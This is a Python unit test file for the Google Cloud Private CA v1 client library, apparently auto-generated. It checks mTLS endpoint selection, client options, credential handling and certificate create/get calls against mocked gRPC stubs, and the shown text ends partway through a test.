tests/unit/gapic/privateca_v1/test_certificate_authority_service.py
|
LaudateCorpus1/python-security-private-ca
|
672e9b0a8c0923afbd9e6e04ca8a4c2b0232a843
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/privateca_v1/test_certificate_authority_service.py
|
LaudateCorpus1/python-security-private-ca
|
672e9b0a8c0923afbd9e6e04ca8a4c2b0232a843
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/privateca_v1/test_certificate_authority_service.py
|
LaudateCorpus1/python-security-private-ca
|
672e9b0a8c0923afbd9e6e04ca8a4c2b0232a843
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import mock
import grpc
from grpc.experimental import aio
import math
import pytest
from proto.marshal.rules.dates import DurationRule, TimestampRule
from google.api_core import client_options
from google.api_core import exceptions as core_exceptions
from google.api_core import future
from google.api_core import gapic_v1
from google.api_core import grpc_helpers
from google.api_core import grpc_helpers_async
from google.api_core import operation_async # type: ignore
from google.api_core import operations_v1
from google.api_core import path_template
from google.auth import credentials as ga_credentials
from google.auth.exceptions import MutualTLSChannelError
from google.cloud.security.privateca_v1.services.certificate_authority_service import (
CertificateAuthorityServiceAsyncClient,
)
from google.cloud.security.privateca_v1.services.certificate_authority_service import (
CertificateAuthorityServiceClient,
)
from google.cloud.security.privateca_v1.services.certificate_authority_service import (
pagers,
)
from google.cloud.security.privateca_v1.services.certificate_authority_service import (
transports,
)
from google.cloud.security.privateca_v1.types import resources
from google.cloud.security.privateca_v1.types import service
from google.longrunning import operations_pb2
from google.oauth2 import service_account
from google.protobuf import duration_pb2 # type: ignore
from google.protobuf import field_mask_pb2 # type: ignore
from google.protobuf import timestamp_pb2 # type: ignore
from google.type import expr_pb2 # type: ignore
import google.auth
def client_cert_source_callback():
return b"cert bytes", b"key bytes"
# If default endpoint is localhost, then default mtls endpoint will be the same.
# This method modifies the default endpoint so the client can produce a different
# mtls endpoint for endpoint testing purposes.
def modify_default_endpoint(client):
return (
"foo.googleapis.com"
if ("localhost" in client.DEFAULT_ENDPOINT)
else client.DEFAULT_ENDPOINT
)
def test__get_default_mtls_endpoint():
api_endpoint = "example.googleapis.com"
api_mtls_endpoint = "example.mtls.googleapis.com"
sandbox_endpoint = "example.sandbox.googleapis.com"
sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com"
non_googleapi = "api.example.com"
assert CertificateAuthorityServiceClient._get_default_mtls_endpoint(None) is None
assert (
CertificateAuthorityServiceClient._get_default_mtls_endpoint(api_endpoint)
== api_mtls_endpoint
)
assert (
CertificateAuthorityServiceClient._get_default_mtls_endpoint(api_mtls_endpoint)
== api_mtls_endpoint
)
assert (
CertificateAuthorityServiceClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
CertificateAuthorityServiceClient._get_default_mtls_endpoint(
sandbox_mtls_endpoint
)
== sandbox_mtls_endpoint
)
assert (
CertificateAuthorityServiceClient._get_default_mtls_endpoint(non_googleapi)
== non_googleapi
)
@pytest.mark.parametrize(
"client_class",
[CertificateAuthorityServiceClient, CertificateAuthorityServiceAsyncClient,],
)
def test_certificate_authority_service_client_from_service_account_info(client_class):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_info"
) as factory:
factory.return_value = creds
info = {"valid": True}
client = client_class.from_service_account_info(info)
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == "privateca.googleapis.com:443"
@pytest.mark.parametrize(
"transport_class,transport_name",
[
(transports.CertificateAuthorityServiceGrpcTransport, "grpc"),
(transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio"),
],
)
def test_certificate_authority_service_client_service_account_always_use_jwt(
transport_class, transport_name
):
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=True)
use_jwt.assert_called_once_with(True)
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=False)
use_jwt.assert_not_called()
@pytest.mark.parametrize(
"client_class",
[CertificateAuthorityServiceClient, CertificateAuthorityServiceAsyncClient,],
)
def test_certificate_authority_service_client_from_service_account_file(client_class):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_file"
) as factory:
factory.return_value = creds
client = client_class.from_service_account_file("dummy/file/path.json")
assert client.transport._credentials == creds
assert isinstance(client, client_class)
client = client_class.from_service_account_json("dummy/file/path.json")
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == "privateca.googleapis.com:443"
def test_certificate_authority_service_client_get_transport_class():
transport = CertificateAuthorityServiceClient.get_transport_class()
available_transports = [
transports.CertificateAuthorityServiceGrpcTransport,
]
assert transport in available_transports
transport = CertificateAuthorityServiceClient.get_transport_class("grpc")
assert transport == transports.CertificateAuthorityServiceGrpcTransport
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(
CertificateAuthorityServiceClient,
transports.CertificateAuthorityServiceGrpcTransport,
"grpc",
),
(
CertificateAuthorityServiceAsyncClient,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
@mock.patch.object(
CertificateAuthorityServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CertificateAuthorityServiceClient),
)
@mock.patch.object(
CertificateAuthorityServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CertificateAuthorityServiceAsyncClient),
)
def test_certificate_authority_service_client_client_options(
client_class, transport_class, transport_name
):
# Check that if channel is provided we won't create a new one.
with mock.patch.object(
CertificateAuthorityServiceClient, "get_transport_class"
) as gtc:
transport = transport_class(credentials=ga_credentials.AnonymousCredentials())
client = client_class(transport=transport)
gtc.assert_not_called()
# Check that if channel is provided via str we will create a new one.
with mock.patch.object(
CertificateAuthorityServiceClient, "get_transport_class"
) as gtc:
client = client_class(transport=transport_name)
gtc.assert_called()
# Check the case api_endpoint is provided.
options = client_options.ClientOptions(api_endpoint="squid.clam.whelk")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name, client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT has
# unsupported value.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "Unsupported"}):
with pytest.raises(MutualTLSChannelError):
client = client_class(transport=transport_name)
# Check the case GOOGLE_API_USE_CLIENT_CERTIFICATE has unsupported value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "Unsupported"}
):
with pytest.raises(ValueError):
client = client_class(transport=transport_name)
# Check the case quota_project_id is provided
options = client_options.ClientOptions(quota_project_id="octopus")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id="octopus",
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name,use_client_cert_env",
[
(
CertificateAuthorityServiceClient,
transports.CertificateAuthorityServiceGrpcTransport,
"grpc",
"true",
),
(
CertificateAuthorityServiceAsyncClient,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
"grpc_asyncio",
"true",
),
(
CertificateAuthorityServiceClient,
transports.CertificateAuthorityServiceGrpcTransport,
"grpc",
"false",
),
(
CertificateAuthorityServiceAsyncClient,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
"grpc_asyncio",
"false",
),
],
)
@mock.patch.object(
CertificateAuthorityServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CertificateAuthorityServiceClient),
)
@mock.patch.object(
CertificateAuthorityServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CertificateAuthorityServiceAsyncClient),
)
@mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "auto"})
def test_certificate_authority_service_client_mtls_env_auto(
client_class, transport_class, transport_name, use_client_cert_env
):
# This tests the endpoint autoswitch behavior. Endpoint is autoswitched to the default
# mtls endpoint, if GOOGLE_API_USE_CLIENT_CERTIFICATE is "true" and client cert exists.
# Check the case client_cert_source is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
options = client_options.ClientOptions(
client_cert_source=client_cert_source_callback
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
if use_client_cert_env == "false":
expected_client_cert_source = None
expected_host = client.DEFAULT_ENDPOINT
else:
expected_client_cert_source = client_cert_source_callback
expected_host = client.DEFAULT_MTLS_ENDPOINT
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case ADC client cert is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=client_cert_source_callback,
):
if use_client_cert_env == "false":
expected_host = client.DEFAULT_ENDPOINT
expected_client_cert_source = None
else:
expected_host = client.DEFAULT_MTLS_ENDPOINT
expected_client_cert_source = client_cert_source_callback
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case client_cert_source and ADC client cert are not provided.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class",
[CertificateAuthorityServiceClient, CertificateAuthorityServiceAsyncClient],
)
@mock.patch.object(
CertificateAuthorityServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CertificateAuthorityServiceClient),
)
@mock.patch.object(
CertificateAuthorityServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CertificateAuthorityServiceAsyncClient),
)
def test_certificate_authority_service_client_get_mtls_endpoint_and_cert_source(
client_class,
):
mock_client_cert_source = mock.Mock()
# Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "true".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
mock_api_endpoint = "foo"
options = client_options.ClientOptions(
client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint
)
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source(
options
)
assert api_endpoint == mock_api_endpoint
assert cert_source == mock_client_cert_source
# Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "false".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "false"}):
mock_client_cert_source = mock.Mock()
mock_api_endpoint = "foo"
options = client_options.ClientOptions(
client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint
)
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source(
options
)
assert api_endpoint == mock_api_endpoint
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert doesn't exist.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert exists.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=mock_client_cert_source,
):
(
api_endpoint,
cert_source,
) = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT
assert cert_source == mock_client_cert_source
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(
CertificateAuthorityServiceClient,
transports.CertificateAuthorityServiceGrpcTransport,
"grpc",
),
(
CertificateAuthorityServiceAsyncClient,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_certificate_authority_service_client_client_options_scopes(
client_class, transport_class, transport_name
):
# Check the case scopes are provided.
options = client_options.ClientOptions(scopes=["1", "2"],)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=["1", "2"],
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(
CertificateAuthorityServiceClient,
transports.CertificateAuthorityServiceGrpcTransport,
"grpc",
),
(
CertificateAuthorityServiceAsyncClient,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_certificate_authority_service_client_client_options_credentials_file(
client_class, transport_class, transport_name
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
def test_certificate_authority_service_client_client_options_from_dict():
with mock.patch(
"google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceGrpcTransport.__init__"
) as grpc_transport:
grpc_transport.return_value = None
client = CertificateAuthorityServiceClient(
client_options={"api_endpoint": "squid.clam.whelk"}
)
grpc_transport.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize("request_type", [service.CreateCertificateRequest, dict,])
def test_create_certificate(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
pem_csr="pem_csr_value",
)
response = client.create_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
def test_create_certificate_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
client.create_certificate()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateRequest()
@pytest.mark.asyncio
async def test_create_certificate_async(
transport: str = "grpc_asyncio", request_type=service.CreateCertificateRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
)
)
response = await client.create_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
@pytest.mark.asyncio
async def test_create_certificate_async_from_dict():
await test_create_certificate_async(request_type=dict)
def test_create_certificate_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCertificateRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
call.return_value = resources.Certificate()
client.create_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_certificate_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCertificateRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
await client.create_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_certificate_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_certificate(
parent="parent_value",
certificate=resources.Certificate(name="name_value"),
certificate_id="certificate_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].certificate
mock_val = resources.Certificate(name="name_value")
assert arg == mock_val
arg = args[0].certificate_id
mock_val = "certificate_id_value"
assert arg == mock_val
def test_create_certificate_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_certificate(
service.CreateCertificateRequest(),
parent="parent_value",
certificate=resources.Certificate(name="name_value"),
certificate_id="certificate_id_value",
)
@pytest.mark.asyncio
async def test_create_certificate_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_certificate(
parent="parent_value",
certificate=resources.Certificate(name="name_value"),
certificate_id="certificate_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].certificate
mock_val = resources.Certificate(name="name_value")
assert arg == mock_val
arg = args[0].certificate_id
mock_val = "certificate_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_certificate_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_certificate(
service.CreateCertificateRequest(),
parent="parent_value",
certificate=resources.Certificate(name="name_value"),
certificate_id="certificate_id_value",
)
@pytest.mark.parametrize("request_type", [service.GetCertificateRequest, dict,])
def test_get_certificate(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
pem_csr="pem_csr_value",
)
response = client.get_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
def test_get_certificate_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
client.get_certificate()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateRequest()
@pytest.mark.asyncio
async def test_get_certificate_async(
transport: str = "grpc_asyncio", request_type=service.GetCertificateRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate(
name="name_value",
issuer_certificate_authority="issuer_certificate_authority_value",
certificate_template="certificate_template_value",
subject_mode=resources.SubjectRequestMode.DEFAULT,
pem_certificate="pem_certificate_value",
pem_certificate_chain=["pem_certificate_chain_value"],
)
)
response = await client.get_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Certificate)
assert response.name == "name_value"
assert response.issuer_certificate_authority == "issuer_certificate_authority_value"
assert response.certificate_template == "certificate_template_value"
assert response.subject_mode == resources.SubjectRequestMode.DEFAULT
assert response.pem_certificate == "pem_certificate_value"
assert response.pem_certificate_chain == ["pem_certificate_chain_value"]
@pytest.mark.asyncio
async def test_get_certificate_async_from_dict():
await test_get_certificate_async(request_type=dict)
def test_get_certificate_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
call.return_value = resources.Certificate()
client.get_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_certificate_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Certificate()
)
await client.get_certificate(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_certificate_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_certificate), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Certificate()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_certificate(name="name_value",)
